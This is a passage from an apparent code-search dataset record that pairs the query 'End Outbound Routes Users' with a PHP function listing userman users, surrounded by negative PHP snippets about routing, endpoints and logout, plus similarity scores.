"private function getRoute(){\n\t}",
"public function dispatchLoopShutdown()\n {\n if(!FrontController::getInstance()->getRequest()->isXmlHttpRequest()){\n //limpio la informacion anterior y guardo la nueva\n $this->limpiarHistorial()\n ->guardarVista();\n }\n }",
"public function endTunnel(){\n\t\t$this->buffer .= \"client\\n\";\n\t\t$this->buffer .= \"remote \".$this->server.\"\\n\\n\";\n\t\t$this->buffer .= \"cipher \".$this->cipher.\"\\n\";\n\t\t$this->buffer .= \"dev tap\".$this->tunnelcount.\"\\n\n\nproto tcp-client\nport \".$this->port.\"\n\t\t\nca /etc/openvpn\".$this->tunnelcount.\"/\".$this->caname.\"\ncert /etc/openvpn\".$this->tunnelcount.\"/\".$this->certname.\"\nkey /etc/openvpn\".$this->tunnelcount.\"/\".$this->keyname.\"\n\nuser nobody\ngroup nobody\nverb \".$this->verbosity.\"\\n\";\n\n\t\tif($this->compression){\n\t\t\t$this->buffer .= \"comp-lzo\\n\";\n\t\t}\n\n\t\t$this->writeConfig();\n\t\t$this->tunnelcount++;\n\t}",
"public function onRouteFinish($e)\n {\n $matches = $e->getRouteMatch();\n $controller = $matches->getParam('controller');\n //var_dump($matches);\n }",
"public function getIndexEnd();",
"public function end_trace()\n {\n }",
"function _route()\n\t{\n\n\t\t// if this step is locked go to error page and return\n\t\tif(self::lock('pass/recovery'))\n\t\t{\n\t\t\tself::error_page('pass/recovery');\n\t\t\treturn;\n\t\t}\n\n\t\t// parent::_route();\n\t\t$this->get('pass')->ALL('pass/recovery');\n\t\t$this->post('pass')->ALL('pass/recovery');\n\t}",
"function beforeroute(){\n }",
"function beforeroute(){\n }",
"public function finish() {\n return $this->endpoint->finish($this->parts->finalize());\n }",
"public function process()\r\n {\r\n if (!$this->request->check()) {\r\n Json::generateJSONResponse(400,\r\n array(\r\n \"message\" => \"Bad Request\"\r\n )\r\n );\r\n } else {\r\n // map employees/[{id}/leave_requests\r\n $this->router->map('GET', '/employees/[i:id]/leave_requests', function()\r\n {\r\n $this->employeeController->getLeaveRequests($this->request->getSecondURIFragment());\r\n }, 'employees/leave_requests');\r\n\r\n // map employees/[{id}/leave_requests/register\r\n $this->router->map('POST', '/employees/[i:id]/leave_requests/register', function()\r\n {\r\n $this->employeeController->registerLeaveRequest($this->request->getSecondURIFragment(), $this->request->getParams());\r\n }, 'employees/leave_requests/register');\r\n\r\n\r\n // map managers/[{id}/leave_requests\r\n $this->router->map('GET', '/managers/[i:id]/leave_requests', function()\r\n {\r\n $this->managerController->getLeaveRequests(\r\n $this->request->getSecondURIFragment(),\r\n $this->request->getFourthURIFragment(),\r\n $this->request->getParams()\r\n );\r\n },'managers/leave_requests');\r\n\r\n // map managers/[{id}/leave_requests/{leaveId]/accept\r\n $this->router->map('PUT', '/managers/[i:id]/leave_requests/[i:leaveId]/accept', function()\r\n {\r\n $this->managerController->acceptLeaveRequest(\r\n $this->request->getSecondURIFragment(),\r\n $this->request->getFourthURIFragment(),\r\n $this->request->getParams()\r\n );\r\n },'managers/leave_requests/accept');\r\n\r\n // map managers/[{id}/leave_requests/{leaveId]/decline\r\n $this->router->map('PUT', '/managers/[i:id]/leave_requests/[i:leaveId]/decline', function()\r\n {\r\n $this->managerController->declineLeaveRequest(\r\n $this->request->getSecondURIFragment(),\r\n $this->request->getFourthURIFragment(),\r\n $this->request->getParams()\r\n );\r\n },'managers/leave_requests/decline');\r\n\r\n // match current request url\r\n $match = $this->router->match();\r\n // call closure or throw 404 status\r\n if($match && is_callable($match['target']))\r\n {\r\n call_user_func_array($match['target'], $match['params']);\r\n } else {\r\n // no route was matched\r\n Json::generateJSONResponse(404,\r\n array(\r\n \"message\" => \"Not Found.\"\r\n )\r\n );\r\n }\r\n }\r\n }",
"public function afterLoadRoutes() {\n if (!$this->beforeConfig) {\n $this->createRoutes($this->m->Routing->routes);\n $current = $this->m->Routing->route;\n if (is_array($current) and isset($current['priority'])) {\n if ($current['priority'] > $this->priority)\n return;\n }\n if ($this->checkPath($this->request->path)) {\n \n }\n }\n }",
"private function _finish(array $route) {\n $this->called = $route;\n\n $class = '\\\\controllers\\\\' . $route['controller'];\n $method = $route['method'];\n\n /** @var \\controllers\\Controller $target */\n $target = new $class();\n $target->$method($route['parameters']);\n $target->_finish();\n }",
"protected function after()\n {\n $object = new self($this->routeParams);\n (new Middleware())->middlewares($this->callAfterMiddlewares())\n ->middleware($object, function ($object) {\n return $object;\n });\n }",
"public function finish() {\n\t\t\n\t\tcurl_close($this->curl);\n\t\t\n\t\tif($this->extraDestinationsGiven){\n\t\t\t$this->longDestination->finish();\n\t\t\t$this->shortDestination->finish();\n\t\t}\n\t}",
"public function get_route()\n {\n }",
"function processEndCallFusion($request) {\n $connector = $this->getConnector();\n $connector->handleEndCallFusion($request);\n }",
"private function endLap() {\n $lapCount = count( $this->laps ) - 1;\n if ( count( $this->laps ) > 0 ) {\n $this->laps[$lapCount]['end'] = $this->getCurrentTime();\n $this->laps[$lapCount]['total'] = $this->laps[$lapCount]['end'] - $this->laps[$lapCount]['start'];\n }\n }",
"public function RouteRequest ();",
"public function finish(UriInterface $uri);",
"public function completeRequest()\n {\n if (kodexy()->database->isConnected())\n {\n kodexy()->database->disconnect();\n }\n \n exit;\n }",
"public function visitEnd()\n {\n if (($this->cv != null)) {\n $this->cv->visitEnd();\n }\n }",
"public function onAfterRouting() {\n\t\tforeach ( $this->getInstantiablePlugins() as $pluginContainer ) {\n\t\t\t$pluginContainer->trigger(\"onAfterRouting\");\n\t\t}\n\t}",
"protected function endBoundary($boundary)\n {\n }",
"public function forceEndSitemap()\n {\n $this->endSitemap();\n $this->resetCurrentItem();\n $this->resetCurrentSitemap();\n }",
"static function clear() {\n self::$_routes = array();\n }",
"protected function handleEndBodyCommand()\n {\n if ($this->state === self::STATUS_UNFOLDING) {\n $this->message = $this->message->withAddedHeader($this->foldHeader, $this->foldBuffer);\n }\n\n $this->state = self::STATUS_PROCESSING;\n /**\n * Default action, using timer so that callbacks above can be called asynchronously.\n */\n $this->defaultActionTimer = $this->loop->addTimer($this->defaultActionTimeout, function() {\n if ($this->acceptByDefault) {\n $this->accept();\n } else {\n $this->reject();\n }\n });\n\n\n\n $this->emit('message', [\n 'from' => $this->from,\n 'recipients' => $this->recipients,\n 'message' => $this->message,\n 'connection' => $this,\n ]);\n }",
"function autoRoute($capno){\r\n\t\t// Also use in the autorouting procedure to get if within his range\r\n\r\n\t\t//Takes in the highest capno pass in the view\r\n\t\t\r\n\t\t//Fetch the Main Borrower\r\n\t\t$accnt = new Model_BorrowerAccount();\r\n\t\t//Fetch the Main Borrower\r\n\t\t$accntdetail = $accnt->fetchRowModel(capnosep($capno).'0'.capnorecon($capno));\r\n\t\t//Fetch the Highest Capno\r\n\t\t$modeldetail = $accnt->fetchRowModel($capno);\t\t\r\n\t\t\r\n\t\tif($accntdetail->routetag){\r\n\t\t\t// routetag exist suppose to be in autorouting\r\n\t\t\t$routetag = $accntdetail->routetag;\r\n\t\t} \r\n\t\telse {\r\n // if it does not exist\tnot yet submitted by CO so route is not stamp\t\r\n\t\t\t// upon implementation route does not exist\r\n\t\t\t$scoretag = $this->_view->viewScore($accntdetail->score,$modeldetail->capno,'view');\r\n\t\t\t$autoroute = Zend_Controller_Action_HelperBroker::getStaticHelper('AutoRoute');\r\n\t\t\t$routetag = $autoroute->direct($accntdetail->capno,$scoretag);\r\n\t\t}\r\n\t\t\r\n\t\t$user = Zend_Auth::getInstance()->getIdentity();\r\n\t $userRole = '-'.$user->role_type;\r\n\t\t\r\n\t\tif($user->role_type == 'PRES'){\r\n\t\t\r\n\t\t\tif(strpos($routetag,'-PRES') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+1;\r\n\t\t\t}\r\n\t\t\r\n\t\t\tif(strpos($routetag,'-CMGH') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+1;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif(strpos($routetag,'-EXE-BOD') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+0;\r\n\t\t\t}\t\t\t\r\n\t\t\t\r\n\t\t\tif(strpos($routetag,'-CRECOM') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+1;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif(strpos($routetag,'-SUBCRECOM') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+1;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif($counter >= 1){\r\n\t\t\t\treturn true;\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t\t\r\n\t\telse if($user->role_type == 'CORPSEC'){\r\n\t\t\t\r\n\t\t\tif(strpos($routetag,'-EXE-BOD') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+1;\r\n\t\t\t}\t\t\t\r\n\t\t\t\r\n\t\t\tif($counter >= 1){\r\n\t\t\t\treturn true;\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t\t\r\n\t\telse if($user->role_type == 'CMGH'){\r\n\t\t\t//will pass and go to PRES\r\n\t\t\t\treturn false;\r\n\t\t}\r\n\t\telse {\r\n\t\t\t//CO & CSH\r\n\t\t// Check if the string contains the current approval base on the\r\n\t\t// routeTag\r\n\t\tif(strpos($routetag,$userRole) === false){\r\n\t\treturn false;\t\r\n\t\t}else {\r\n\t\treturn true;\r\n\t\t}\r\n\t\t\r\n\t\t}//end of else \r\n\t\t\r\n\t\t\r\n/*\r\n\r\n\t\t$accnt = new Model_BorrowerAccount();\r\n\t\t$select = $accnt->select();\r\n\t\t$select->where('capno like ?',$capno);\r\n\t\t$accntdetail = $accnt->fetchRow($select);\r\n\t\t\r\n\t\t$deviation = $accntdetail->deviation;\r\n\t\t$loanAmount = $accntdetail->amountloan;\r\n\r\n\t\t$scoretag = Zend_Controller_Action_HelperBroker::getStaticHelper('scoreTag');\r\n\t\t$score = $scoretag->direct($accntdetail->score,$accntdetail->empbus_status);\r\n\t\r\n\t\r\n\tif($userRole == 'CO'){\t\r\n\r\n\t\tif(!$deviation){\r\n\t\tif (($score == 'P1') && ($loanAmount <= 760000)){\r\n\t\treturn true;\r\n\t\t}\r\n\t\telse if (($score == 'P2') && ($loanAmount <= 912000)){\r\n\t\treturn true;\r\n\t\t} \r\n\t\r\n\t\telse {\r\n\t\treturn false;\r\n\t\t}\r\n\t\t}// end of Deviation\r\n\t\telse {\r\n\t\t//if the application has deviation pass to the next level as \r\n\t\t//CO cant approve accoutns with Deviation\r\n\t\treturn false;\r\n\t\t}\r\n\r\n\t}\r\n\tif($userRole == 'CSH'){\t\r\n\t\r\n\tif(!$deviation){\r\n\t\t//Without Deviation\r\n\t\tif (($score == 'P1') && ($loanAmount <= 1000000)){\r\n\t\treturn true;\r\n\t\t}\r\n\t\telse if (($score == 'P2') && ($loanAmount <= 1200000)){\r\n\t\treturn true;\r\n\t\t}\r\n\t\telse if (($score == 'F1') && ($loanAmount <= 760000)){\r\n\t\treturn true;\r\n\t\t} \r\n\t\telse {\r\n\t\treturn false;\r\n\t\t}\r\n\t} // End of Without Deviation\r\n\telse {\r\n\t\tif (($score == 'P1') && ($loanAmount <= 760000)){\r\n\t\treturn true;\r\n\t\t}\r\n\t\telse if (($score == 'P2') && ($loanAmount <= 912000)){\r\n\t\treturn true;\r\n\t\t} \r\n\t\telse if (($score == 'F1') && ($loanAmount <= 760000)){\r\n\t\treturn true;\r\n\t\t} \r\n\t\telse {\r\n\t\treturn false;\t\r\n\t\t}\r\n\t}\r\n\t\r\n\t}// End of CSH\r\n\t\r\n\tif($userRole == 'CMGH'){\t\r\n\t\r\n\t\tif(!$deviation){\r\n\t\t\t//Without Deviation\r\n\t\t\tif (($score == 'P1') && ($loanAmount <= 1250000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'P2') && ($loanAmount <= 1500000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'F1') && ($loanAmount <= 1000000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse if (($score == 'F2') && ($loanAmount <= 760000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse {\r\n\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\t\telse{\r\n\t\t\t//With Deviation\r\n\t\t\tif (($score == 'P1') && ($loanAmount <= 1000000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'P2') && ($loanAmount <= 1200000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'F1') && ($loanAmount <= 1000000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'F2') && ($loanAmount <= 760000)){\r\n\t\t\treturn true;\r\n\t\t\t} \t\t\t \r\n\t\t\telse {\r\n\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\r\n\t\t}//End of CMHG\r\n\tif($userRole == 'PRES'){\t\t\r\n\t\tif(!$deviation){\r\n\t\t\t//Without Deviation\r\n\t\t\tif (($score == 'P1') && ($loanAmount <= 1500000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'P2') && ($loanAmount <= 1800000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'F1') && ($loanAmount <= 1250000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse if (($score == 'F2') && ($loanAmount <= 1000000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse if (($score == 'F3') && ($loanAmount <= 760000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse {\r\n\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\telse {\r\n\t\t\t//With Deviation\r\n\t\t\tif (($score == 'P1') && ($loanAmount <= 1250000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'P2') && ($loanAmount <= 1500000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'F1') && ($loanAmount <= 1250000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse if (($score == 'F2') && ($loanAmount <= 1000000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse if (($score == 'F3') && ($loanAmount <= 760000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\r\n\t\t}\r\n\t\t\r\n\t\t} \r\n\t\t*/\r\n\t}",
"public function end() {\n\t\t$this->get = null;\n\t\t$this->post = null;\n\t\t$this->server = null;\n\t\t$this->header = null;\n\t\t$this->cookie = null;\n\t\t$this->files = null;\n\t\t$this->sw_request = null;\n\t\tif ($this->session !== null) {\n\t\t\t$handler = Container::getInstance()->get(Dispatcher::class)->getSessionHandler();\n\t\t\t$handler->write($this->session->id(), $this->session->encode());\n\t\t\t$this->session = null;\n\t\t}\n\t}",
"public function rewriteEndpoint (){\n add_rewrite_endpoint( 'agreementArchiveId', EP_ALL );\n add_rewrite_endpoint( 'searchAgreementArchive', EP_ALL );\n\n flush_rewrite_rules();\n }",
"public function endCommunication()\n {\n $this->provider->keepAuth = false;\n $this->provider->logout();\n }",
"public function route()\n\t{\n\t\t/* [http|https]/[Ajax|]/[Get|Post|Delete|Put]/uri */\n\t\t$this->route = $this->route_raw = ($this->c->Request->is_https ? 'https' : 'http').'/'.($this->c->Request->is_ajax ? 'Ajax' : '').'/'.$this->c->Request->request.'/'.$this->c->Request->uri;\n\n\t\t/* call dispatch event */\n\t\t$this->c->Event->preRouter();\n\n\t\t/* rewrite dispatch route */\n\t\tforeach ($this->c->router['routes'] as $regexpath => $switchto) {\n\t\t\tif (preg_match($regexpath, $this->route)) {\n\t\t\t\t/* we got a match */\n\t\t\t\t$this->route = preg_replace($regexpath, $switchto, $this->route);\n\t\t\t\t$this->route_matched = $regexpath;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t/* call dispatch event */\n\t\t$this->c->Event->postRouter();\n\n\t}",
"public static function get_router_end_points( array $callback ):array;",
"function end()\n\t{\n\t\t$this->over = true;\n\t}",
"protected function finish() {}",
"public function rewriteEndpoints()\n {\n $this->addEndpoints();\n flush_rewrite_rules();\n }",
"public function endpoints(): RouteEndpointsInterface;",
"protected function mapInternalRoutes()\n {\n Route::middleware([\n 'web',\n 'internal',\n ])->prefix('dashboard/internal')->namespace($this->namespace)->group(base_path('routes/internal.php'));\n }",
"public function getEndWaypoint()\n {\n return $this->end_waypoint;\n }",
"abstract protected function resetCompleteRoute($user, $code);",
"public static function route() {\nimport('TheTrainingMangerLMS.Content.Login');\n//import('TheTrainingMangerLMS.Content.MyAccount.NotFound');\n//import('TheTrainingMangerLMS.Content.MyAccount.Dashboard');\nimport('TheTrainingMangerLMS.Content.MyAccount.CourseBuilder');\nimport('TheTrainingMangerLMS.Content.MyAccount.CourseList');\n\n\t\t// set-up actions\n\t\t// add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) );\n\t\t$section = get_query_var('area');\n\t\t// Find a subhandler to bind\n\t\tif (!is_user_logged_in()) {\n\t\t\t(new Login())->render();\n\t\t} else \n\t\t// Is the logged in user a Trainer\n\t\tif (!ttp_lms_trainer_valid(get_current_user_id())) { // TODO: is Trainer && is Active Trainer\n\t\t\t(new UnAuthorized())->render();\n\t\t} else\n\t\t// Is this a root level request (default) or \n\t\tif (is_null($section) || ($section == '')) {\n\t\t\t(new MyAccount\\Home())->render();\n\t\t} else\n\t\t// Is this a specific request for the course list (can't use this as default)\n\t\tif ($section == \\TheTrainingMangerLMS\\Content\\MyAccount\\CourseList::get_handle()) {\n\t\t\t(new MyAccount\\CourseList())->render();\n\t\t} else \n\t\t// Is this a specific request for the course builder\n\t\tif ($section == \\TheTrainingMangerLMS\\Content\\MyAccount\\CourseBuilder::get_handle()) {\n\t\t\t(new MyAccount\\CourseBuilder())->render();\n\t\t} else {\n\t\t\t(new NotFound())->render();\n\t\t}\n\t}",
"public function handle_routing( $continue ) {\n\n\t\t// Get the request path / URI.\n\t\t$request_path = $_SERVER['REQUEST_URI'] ?? '';\n\t\t$request_path = trim( $request_path, '/' ); // Remove leading/trailing slashes.\n\t\t$request_path = strtok( $request_path, '?' ); // Remove query string args.\n\n\t\t// Root sitemap.\n\t\tif ( preg_match( '{^sitemap_index.xml$}', $request_path ) ) {\n\t\t\t$this->handle_route_sitemap_root();\n\t\t}\n\n\t\t// Sitemap XSL which doesn't work otherwise for some reason.\n\t\tif ( preg_match( '{^main-sitemap.xsl$}', $request_path ) ) {\n\t\t\t$this->handle_route_sitemap_xsl();\n\t\t}\n\n\t\treturn $continue;\n\n\t}",
"public function endChildren()\n {\n parent::endChildren();\n\n $this->call($this->ascendCallback);\n }",
"private function handleStop(): void\n {\n for ($i = 0; $i < count($this->drivers); $i++) {\n for ($j = $i + 1; $j < count($this->drivers); $j++) {\n if ($this->drivers[$i]->getCurrentStop() === $this->drivers[$j]->getCurrentStop()) {\n $this->exchangeGossips($this->drivers[$i], $this->drivers[$j]);\n }\n }\n }\n }",
"function endRound() {\n\n\t\t$this->console_text('End Round');\n\t\t$this->releaseEvent('onEndRound', null);\n\t}",
"public function run() {\n $base = $this->request->getNextRoute();\n if ($base !== BASE) {\n $this->response->notFound();\n }\n $start = $this->request->getNextRoute();\n if ($rs = $this->getRs($start)) {\n if ($this->request->isOptions()) {\n $this->response->okEmpty();\n return;\n }\n try {\n $this->response->ok($rs->handleRequest());\n\n } catch (UnauthorizedException $e) {\n $this->response->unauthorized();\n\n } catch (MethodNotAllowedException $e) {\n $this->response->methodNotAllowed();\n\n } catch (BadRequestExceptionInterface $e) {\n $this->response->badRequest($e->getMessage());\n\n } catch (UnavailableExceptionInterface $e) {\n $this->response->unavailable($e->getMessage());\n\n } catch (Exception $e) {\n $this->response->unavailable($e->getMessage());\n }\n } else {\n $this->response->badRequest();\n }\n }",
"public function routeShutdown (Zend_Controller_Request_Abstract $request) {\n\t\tif ( $request->getControllerName() == 'topics' && $request->getActionName() == 'view' ) {\n\t\t\t$topics = $this->getTopicMap();\n\t\t\tif (isset($topics[$request->getParam('topic')])) {\n\t\t\t\t$response = $this->getResponse();\n\t\t\t\t$response->setRedirect($topics[$request->getParam('topic')]);\n\t\t\t\t$response->sendResponse();\n\t\t\t\texit;\n\t\t\t}\n\t\t} \n\t}",
"public function sendReplyEnd()\n {\n }",
"public function getRoute()\n {\n }",
"private function handle($routes, $quitAfterRun = false)\n {\n // Counter to keep track of the number of routes we've handled\n $numHandled = 0;\n $this->requestedMethod = $this->getRequestMethod();\n // The current page URL\n $uri = $this->getCurrentUri();\n $uri = str_replace(basename($_SERVER['SCRIPT_FILENAME']).'/','',$uri);\n $uri = str_replace(basename($_SERVER['SCRIPT_FILENAME']),'',$uri);\n\n // Loop all routes\n foreach ($routes as $key=>$route) {\n preg_match_all('/\\{(\\w+?)\\?\\}/', $route['pattern'], $matchesOptional);\n $router_uri = $route['pattern'];\n $optionals = isset($matchesOptional[1]) ? array_fill_keys($matchesOptional[1], null) : [];\n if (preg_match_all('#^' . $router_uri . '$#', $uri, $matches, PREG_OFFSET_CAPTURE) && $this->requestedMethod == $route['method']) {\n $numHandled = $this->handleRoute($route, $key, $matches, $numHandled);\n if ($quitAfterRun) {\n break;\n }\n }\n elseif(count($optionals) > 0){\n $oldURI = $router_uri;\n if(isset($route['fields'])){\n foreach($route['fields'] as $keyf=>$field){\n if(isset($field['rule'])){\n $router_uri = str_replace('{'.trim($keyf).'?}', '('.$field['rule'].')', $router_uri);\n }\n }\n }\n $router_full_uri = preg_replace('/\\/{(.*?)}/', '/([^/]+)', $router_uri);\n if (preg_match_all('#^' . $router_full_uri . '$#', $uri, $matches, PREG_OFFSET_CAPTURE) && $this->requestedMethod == $route['method']) {\n $numHandled = $this->handleRoute($route, $key, $matches, $numHandled);\n if ($quitAfterRun) {\n break;\n }\n }\n else{\n $listURI = array();\n foreach (array_reverse($optionals) as $item => $value) {\n $oldURI = str_replace('/{'.$item.'?}','',$oldURI);\n $listURI[] = $oldURI;\n }\n foreach($listURI as $url){\n if(isset($route['fields'])){\n foreach($route['fields'] as $keyf=>$field){\n if(isset($field['rule'])){\n $url = str_replace('{'.trim($keyf).'?}', '('.$field['rule'].')', $url);\n }\n }\n }\n $router_url = preg_replace('/\\/{(.*?)}/', '/([^/]+)', $url);\n if (preg_match_all('#^' . $router_url . '$#', $uri, $matches, PREG_OFFSET_CAPTURE) && $this->requestedMethod == $route['method']) {\n $numHandled = $this->handleRoute($route, $key, $matches, $numHandled);\n break;\n }\n }\n }\n }\n else{\n if(isset($route['fields'])){\n foreach($route['fields'] as $keyf=>$field){\n if(isset($field['rule']) && $field['rule'] != ''){\n $router_uri = preg_replace('/\\/{'.$keyf.'}/', '/('.$field['rule'].')', $router_uri);\n }\n }\n }\n $router_uri = preg_replace('/\\/{(.*?)}/', '/([^/]+)', $router_uri);\n if (preg_match_all('#^' . $router_uri . '$#', $uri, $matches, PREG_OFFSET_CAPTURE) && $this->requestedMethod == $route['method']) {\n $numHandled = $this->handleRoute($route, $key, $matches, $numHandled);\n if ($quitAfterRun) {\n break;\n }\n }\n }\n }\n\n return $numHandled;\n }"
] | [
"0.667117",
"0.5895855",
"0.58803207",
"0.5706382",
"0.55896056",
"0.55896056",
"0.55896056",
"0.5545489",
"0.5545489",
"0.5545489",
"0.5545489",
"0.5508369",
"0.5446645",
"0.5446645",
"0.54210657",
"0.5361723",
"0.5348796",
"0.5260291",
"0.52494216",
"0.5243567",
"0.51777095",
"0.5159433",
"0.51309866",
"0.5130276",
"0.50895786",
"0.5065436",
"0.5053355",
"0.50500005",
"0.5046433",
"0.50460213",
"0.5045317",
"0.50434023",
"0.50412905",
"0.5041071",
"0.50377667",
"0.5036883",
"0.5028627",
"0.5005949",
"0.49955276",
"0.4980626",
"0.4967825",
"0.49671832",
"0.49640486",
"0.49634734",
"0.49476683",
"0.49452916",
"0.49451426",
"0.4941323",
"0.49351412",
"0.49325737",
"0.49323878",
"0.49312836",
"0.4899849",
"0.4896584",
"0.48944616",
"0.48909315",
"0.48861447",
"0.48823166",
"0.48823166",
"0.4881983",
"0.48813853",
"0.48700145",
"0.48683554",
"0.48673704",
"0.4858972",
"0.4856852",
"0.4845227",
"0.4837724",
"0.48360637",
"0.48302644",
"0.48241603",
"0.48236677",
"0.48214445",
"0.48188183",
"0.4816603",
"0.48134798",
"0.47847155",
"0.47742608",
"0.47664335",
"0.47644448",
"0.476382",
"0.47527015",
"0.4751672",
"0.47441122",
"0.47347587",
"0.4732267",
"0.47298825",
"0.4725156",
"0.47236952",
"0.47228634",
"0.4720723",
"0.47172168",
"0.47058904",
"0.4699598",
"0.46972007",
"0.4695984",
"0.46890604",
"0.46792674",
"0.4673854",
"0.46722588"
] | 0.5349525 | 16 |
End Outbound Routes Users | public function getAllUsers($request, $response){
$sql = "SELECT * FROM userman_users;";
$stmt = $this->c->db->query($sql);
$outboundRoutes = $stmt->fetchAll();
return $response->withJson(array(
'code' => 200,
'data' => $outboundRoutes
));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function routeShutdown()\n {\n //...\n }",
"public function endAction() {\r\n $this->session->remove('auth');\r\n $this->flash->success('Obrigado!');\r\n\r\n return $this->dispatcher->forward([\r\n \"controller\" => \"peer\",\r\n \"action\" => \"index\"\r\n ]);\r\n }",
"public function endAction()\n { \n $this->session->remove('auth');\n $this->flash->success('Goodbye!');\n return $this->forward('index/index');\n }",
"public function endCommunication()\n {\n $this->restAPI->keepAuth = false;\n $this->restAPI->logout();\n }",
"public function apiIndex()\n {\n $user = Core::users()->indentity();\n if ($user) {\n Core::users()->logout($user);\n Core::app()->redirect(Core::users()->redirectAfterLogout);\n } else {\n Core::app()->redirect(Core::users()->redirectAfterLogout);\n }\n }",
"public function endAction()\n {\n $test = $this->session->remove('auth');\n\t\t\n $this->flash->success('Goodbye!' .$test);\n return $this->forward('apps/index');\n }",
"function afterroute() {\r\n\r\n }",
"public function action_endsession()\n\t{\n\t\t// This is so easy!\n\t\tunset($_SESSION['admin_time']);\n\n\t\t// Clean any admin tokens as well.\n\t\tcleanTokens(false, '-admin');\n\n\t\tif (isset($this->_req->query->redir, $this->_req->server->HTTP_REFERER))\n\t\t{\n\t\t\tredirectexit($_SERVER['HTTP_REFERER']);\n\t\t}\n\n\t\tredirectexit();\n\t}",
"public function logout()\n {\n // fonction qui ne fait rien car c'est le composant de securité qui s'en occupe. Cette fonction me sert a créer une route logout pour le transmettre dans le security.yaml\n }",
"function afterroute() {\n\t}",
"public function endCommunication()\n {\n $this->provider->keepAuth = false;\n $this->provider->logout();\n }",
"abstract protected function resetCompleteRoute($user, $code);",
"public function route() {\n\t\t// Set the user.\n\t\t$user = $this->Router->getCurrentRoute(3);\n\t\tif (!empty($user)) {\n\t\t\tif (!$this->userSet($user)) {\n\t\t\t\t$_SESSION['title'] = 'Error';\n\t\t\t\t$_SESSION['data'] = array(\n\t\t\t\t\t'error' => 'The selected user was invalid.',\n\t\t\t\t\t'link' => 'management/users'\n\t\t\t\t);\n\t\t\t\tredirect(ABSURL . 'error');\n\t\t\t}\n\t\t}\n\n\t\t// Get the function mapped to the route.\n\t\t$function = $this->Router->mappedFunction();\n\t\t$this->$function();\n\t}",
"public function handleUserLogout($event) {}",
"protected function finish()\n {\n if (LilyModule::instance()->enableLogging)\n LilyModule::instance()->user->inited = true;\n LilyModule::instance()->user->save();\n if (is_string($this->finishRedirectUrl))\n $redirectUrl = Yii::app()->createUrl($this->finishRedirectUrl);\n else\n $redirectUrl = Yii::app()->createUrl($this->finishRedirectUrl[0], array_slice($this->finishRedirectUrl, 1));\n Yii::log(\"userIniter finished\", CLogger::LEVEL_INFO, 'lily');\n Yii::app()->request->redirect($redirectUrl);\n }",
"public function logoutUser(){\n $userHandler = new UserHandler();\n $userHandler->logout();\n }",
"public function endRegistration( UserRequest $request )\n\t{\n\t\t$querry = \"SELECT * FROM \". DBTool::rawTable('users') . \" WHERE phone = '\" . $request->input('phone') . \"'\";\n\t\t$user = DB::select(DB::raw($querry));\n\t\t$user = ArrayHelper::fromObject($user);\n\t\t$pass = Hash::make($request->input('password'));\n\t\t$id = $user[0]['id'];\n\t\t$update = \t\"UPDATE \". DBTool::rawTable('users') . \" SET \" . \n\t\t\t\t\t\" name = '\" . $request->input('name') .\n\t\t\t\t\t \"', password = '\" . $pass .\n\t\t\t\t\t \"' WHERE phone = \" . $request->input('phone')\n\t\t\t\t\t. \" AND id = \" . $id ;\n\t\tDB::update(DB::raw($update));\n\n\t\t// R.S.\n\t\t$updatePosts = \t\"UPDATE \". DBTool::rawTable('posts') .\n\t\t\t\t\t\" SET user_id = '\" . $id .\n\t\t\t\t\t\"', contact_name = '\" . $request->input('name') .\n\t\t\t\t\t\"' WHERE phone = '\" . $request->input('phone') . \"'\";\n\t\tDB::update(DB::raw($updatePosts));\n\n\t\tAuth::loginUsingId($id);\n\n\t\t$nextUrl = config('app.locale') . '/register/finish';\n\t\t\n\t\t// Redirection\n\t\treturn redirect($nextUrl);\n\t}",
